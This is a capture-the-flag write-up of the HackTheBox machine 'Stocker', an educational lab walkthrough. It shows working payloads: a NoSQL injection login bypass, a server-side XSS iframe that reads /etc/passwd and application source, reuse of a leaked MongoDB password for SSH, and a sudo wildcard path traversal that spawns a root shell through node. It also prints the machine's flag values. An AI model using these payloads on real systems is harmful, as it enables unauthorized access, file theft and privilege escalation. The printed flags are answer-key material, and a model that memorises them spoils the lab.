Intro
Stocker is an Easy HackTheBox machine covering a NodeJS Web application exploit and a SUDO privesk exploiting wildcard.
Enumeration
To begin with this machine, I went directly to the browser in order to confirm if there was a Web server.
It looks like there is one and it’s trying to redirect me to the hostname stocker.htb
. To fix the DNS resolving issue, I added the box’s IP and the hostname it’s redirecting us to my /etc/hosts
file.
1
2
3
4
5
6
7
8
9
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
#HTB_Boxes
10.10.11.189 precious.htb
10.10.11.196 stocker.htb
A page reload showed the page behind the server.
I also ran a Nmap scan to gain a better understanding and overview of the server.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$ sudo nmap -sSCV -A -O -T4 -oN nmap.scan 10.10.11.196
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-05 07:52 EST
Nmap scan report for stocker.htb (10.10.11.196)
Host is up (0.016s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3d12971d86bc161683608f4f06e6d54e (RSA)
| 256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_ 256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Stock - Coming Soon!
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-generator: Eleventy v2.0.0
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=2/5%OT=22%CT=1%CU=35431%PV=Y%DS=2%DC=T%G=Y%TM=63DFA69C
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M539ST11NW7%O2=M539ST11NW7%O3=M539NNT11NW7%O4=M539ST11NW7%O5=M539ST11
OS:NW7%O6=M539ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
OS:R=Y%DF=Y%T=40%W=FAF0%O=M539NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1720/tcp)
HOP RTT ADDRESS
1 13.65 ms 10.10.14.1
2 13.81 ms stocker.htb (10.10.11.196)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.23 seconds
In that case, there were only two ports open:
- 22 SSH
- 80 HTTP
Now, going back to the Web server can be noted that the page is under development.
It can be concluded that there would be either a:
- Hidden Subdirectory
- Hidden Subdomain
To fuzz the page, I used Dirb and FuFF.
Fuzzing for Directory:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ dirb http://stocker.htb > dir.scan
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun Feb 5 09:02:43 2023
URL_BASE: http://stocker.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://stocker.htb/ ----
==> DIRECTORY: http://stocker.htb/css/
+ http://stocker.htb/favicon.ico (CODE:200|SIZE:1150)
==> DIRECTORY: http://stocker.htb/fonts/
==> DIRECTORY: http://stocker.htb/img/
+ http://stocker.htb/index.html (CODE:200|SIZE:15463)
==> DIRECTORY: http://stocker.htb/js/
---- Entering directory: http://stocker.htb/css/ ----
---- Entering directory: http://stocker.htb/fonts/ ----
---- Entering directory: http://stocker.htb/img/ ----
---- Entering directory: http://stocker.htb/js/ ----
-----------------
END_TIME: Sun Feb 5 09:09:25 2023
DOWNLOADED: 23060 - FOUND: 2
Fuzzing for Subdomain (Virtual Host):
Running the scan by simply putting
... -u FUZZ.stocker.htb
would not work as the subdomain is not linked to the IP in the/etc/hosts
file. Furthermore, you can’t specify a wildcard (*.stocker.htb
).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.stocker.htb" -u http://stocker.htb/ -mc 200,302 > vhost.scan
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://stocker.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.stocker.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,302
________________________________________________
dev [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 27ms]
:: Progress: [4989/4989] :: Job [1/1] :: 2365 req/sec :: Duration: [0:00:02] :: Errors: 0 ::
After finding the subdomain, I added it to the /etc/hosts
:
1
2
3
4
5
6
7
8
9
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
#HTB_Boxes
10.10.11.189 precious.htb
10.10.11.196 stocker.htb dev.stocker.htb
Initial Access (NO User Privilege Escalation)
After testing the login page for SQLi and XSS, I proceeded to NoSQLi.
With the help of BurpSute, I used the first payload from PayloadAllTheThings and changed the Content-Type
to application/json
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /login HTTP/1.1
Host: dev.stocker.htb
Content-Length: 19
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dev.stocker.htb
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://dev.stocker.htb/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: connect.sid=s%3AiPexV9Wf9Ef0iYz7ImnEZw4tQtQzn_mC.il8l9KEIIk2AUPN%2F1iA0dyq5c5rZeu%2FyynAjRCny%2FKE
Connection: close
{"username": {"$ne": null}, "password": {"$ne": null}}
Success!
It appears there is some exposed JS in the source of the page:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
const $ = (selector) => document.querySelector(selector);
const basket = [];
let productStore = [];
const cartModalElement = $("#cart-modal");
const cartModal = new bootstrap.Modal(cartModalElement);
fetch("/api/products")
.then((response) => response.json())
.then((products) => {
productStore = products;
const template = $("#product-template");
products.forEach((product) => {
const clone = template.content.cloneNode(true);
const $$ = (selector) => clone.querySelector(selector);
$$(".item-title").textContent = product.title;
$$(".item-description").textContent = product.description;
$$(".item-price").textContent = `£${product.price.toFixed(2)}`;
$$(".item-stock").textContent = `${product.currentStock} In Stock`;
$$(".item-image").setAttribute("src", `/static/img/${product.image}`);
$$(".add-to-basket").setAttribute("product-id", product._id);
$("#item-container").appendChild(clone);
});
Array.from(document.querySelectorAll(".add-to-basket")).forEach((button) => {
button.addEventListener("click", () => {
const product = productStore.find((product) => product._id === button.getAttribute("product-id"));
if (!product) return;
const existing = basket.find((basketItem) => basketItem._id === product._id);
if (existing) {
existing.amount++;
} else {
basket.push({ ...product, amount: 1 });
}
alert("Added to basket!");
console.log(basket);
});
});
});
const beforePurchase = $("#before-purchase");
const afterPurchase = $("#after-purchase");
const cartTable = $("#cart-table");
const submitPurchase = $("#submit-purchase");
const purchaseOrderLink = $("#purchase-order-link");
cartModalElement.addEventListener("show.bs.modal", () => {
beforePurchase.style.display = "";
afterPurchase.style.display = "none";
document.querySelectorAll(".basket-item").forEach((item) => item.remove());
const template = $("#basket-template");
basket.forEach((basketItem) => {
const clone = template.content.cloneNode(true);
const $$ = (selector) => clone.querySelector(selector);
$$(".item-name").textContent = basketItem.title;
$$(".item-quantity").textContent = basketItem.amount;
$$(".item-price").textContent = `£${basketItem.price.toFixed(2)}`;
cartTable.prepend(clone);
});
$("#cart-total").textContent = basket
.map((x) => x.price * x.amount)
.reduce((a, b) => a + b, 0)
.toFixed(2);
if (basket.length > 0) {
submitPurchase.style.display = "";
} else {
submitPurchase.style.display = "none";
}
});
submitPurchase.addEventListener("click", () => {
fetch("/api/order", {
method: "POST",
body: JSON.stringify({ basket }),
headers: {
"Content-Type": "application/json",
},
})
.then((response) => response.json())
.then((response) => {
if (!response.success) return alert("Something went wrong processing your order!");
purchaseOrderLink.setAttribute("href", `/api/po/${response.orderId}`);
$("#order-id").textContent = response.orderId;
beforePurchase.style.display = "none";
afterPurchase.style.display = "";
submitPurchase.style.display = "none";
});
});
Looking closer into the second part of the code, we can see that:
- When submitting an order, a POST API call is made to
/api/order
. The POST request has a JSON body containing the values stored in thebasket
variable.
1
2
3
4
5
6
7
8
9
10
11
12
.
.
.
submitPurchase.addEventListener("click", () => {
fetch("/api/order", {
method: "POST",
body: JSON.stringify({ basket }),
headers: {
"Content-Type": "application/json",
},
})
- Then, the result from the response is taken. A check for the success of the response is made. If the response is different from
success
, then the rest of the code won’t be executed.
1
2
3
.then((response) => response.json())
.then((response) => {
if (!response.success) return alert("Something went wrong processing your order!");
- However, on success, the value of the variable
purchaseOrderLink
is set to/api/po/<OrderID>
.
1
2
3
4
5
6
7
8
9
purchaseOrderLink.setAttribute("href", `/api/po/${response.orderId}`);
$("#order-id").textContent = response.orderId;
beforePurchase.style.display = "none";
afterPurchase.style.display = "";
submitPurchase.style.display = "none";
});
});
This link points to a dynamically generated PDF with the order details.
Server Side XSS (Dynamic PDF)
If a web page is creating a PDF using user-controlled input, you can try to trick the bot that is creating the PDF into executing arbitrary JS code. So, if the PDF creator bot finds some kind of HTML tags, it is going to interpret them, and you can abuse this behaviour to cause a Server XSS.
Now that we know that there “might” be a server-side XSS, we need to see which values from the POST API calls are used for the PDF generation.
So, we can try using either the title
or price
parameters.
In my case, I tried both, by using the Read local file iframe
payload provided by HackTricks.
1
<iframe src=file:///etc/passwd></iframe>
And it looks like the title
parameter can be exploited due to the lack of sanitisation. Furthermore, the success of the use of the file:
parameter indicates the exploit of Server-Side XSS and SSRF (Server Side Request Forgery).
After repeating the steps from above and editing the payload to expand the iframe
for better readability (height=1000px width=1000px
), I was able to read the username.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:113::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:114::/nonexistent:/usr/sbin/nologin
landscape:x:109:116::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
fwupd-refresh:x:112:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
mongodb:x:113:65534::/home/mongodb:/usr/sbin/nologin
angoose:x:1001:1001:,,,:/home/angoose:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
After exploring around, I stumbled on the index.js
source code.
1
<iframe src=file:///var/www/dev/index.js height=1000px width=1000px></iframe>
There I found the MongoDB credentials:
1
2
// TODO: Configure loading from dotenv for production
const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1";
And finally, due to not loading credentials from dotenv and password reuse, I got SSH access to user angoose
.
1
2
3
4
5
6
7
8
9
10
11
12
$ ssh [email protected]
The authenticity of host 'stocker.htb (10.10.11.196)' can't be established.
ED25519 key fingerprint is SHA256:jqYjSiavS/WjCMCrDzjEo7AcpCFS07X3OLtbGHo/7LQ.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'stocker.htb' (ED25519) to the list of known hosts.
[email protected]'s password:
Last login: Sun Feb 5 16:49:24 2023 from 10.10.14.52
-bash-5.0$ id
uid=1001(angoose) gid=1001(angoose) groups=1001(angoose)
-bash-5.0$ cat user.txt
cf901f8fe560505899ed37d6ba998c19
Root Privilege Escalation
Running sudo -l
and entering the password shows that /usr/bin/node /usr/local/scripts/*.js
can be executed.
1
2
3
4
5
6
$ sudo -l
Matching Defaults entries for angoose on stocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js
Setting SUDO permissions with wildcard could lead to potential vulnerabilities, like in this case.
For the sake of not interfering with other palyers, I made a folder in /tmp
and made a JS file in which I pasted a line of JS which spawns a shell.
1
2
3
4
5
6
7
8
9
$ pwd
/tmp/.niik
$ cat root.js
require("child_process").spawn("/bin/bash", ["-p"], {stdio: [0, 1, 2]})
$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/.niik/root.js
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
37867fe058775c692ccf699e2499edb3
1
require("child_process").spawn("/bin/bash", ["-p"], {stdio: [0, 1, 2]})
Reference List
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection#authentication-bypass
https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery
https://gtfobins.github.io/gtfobins/node/#suid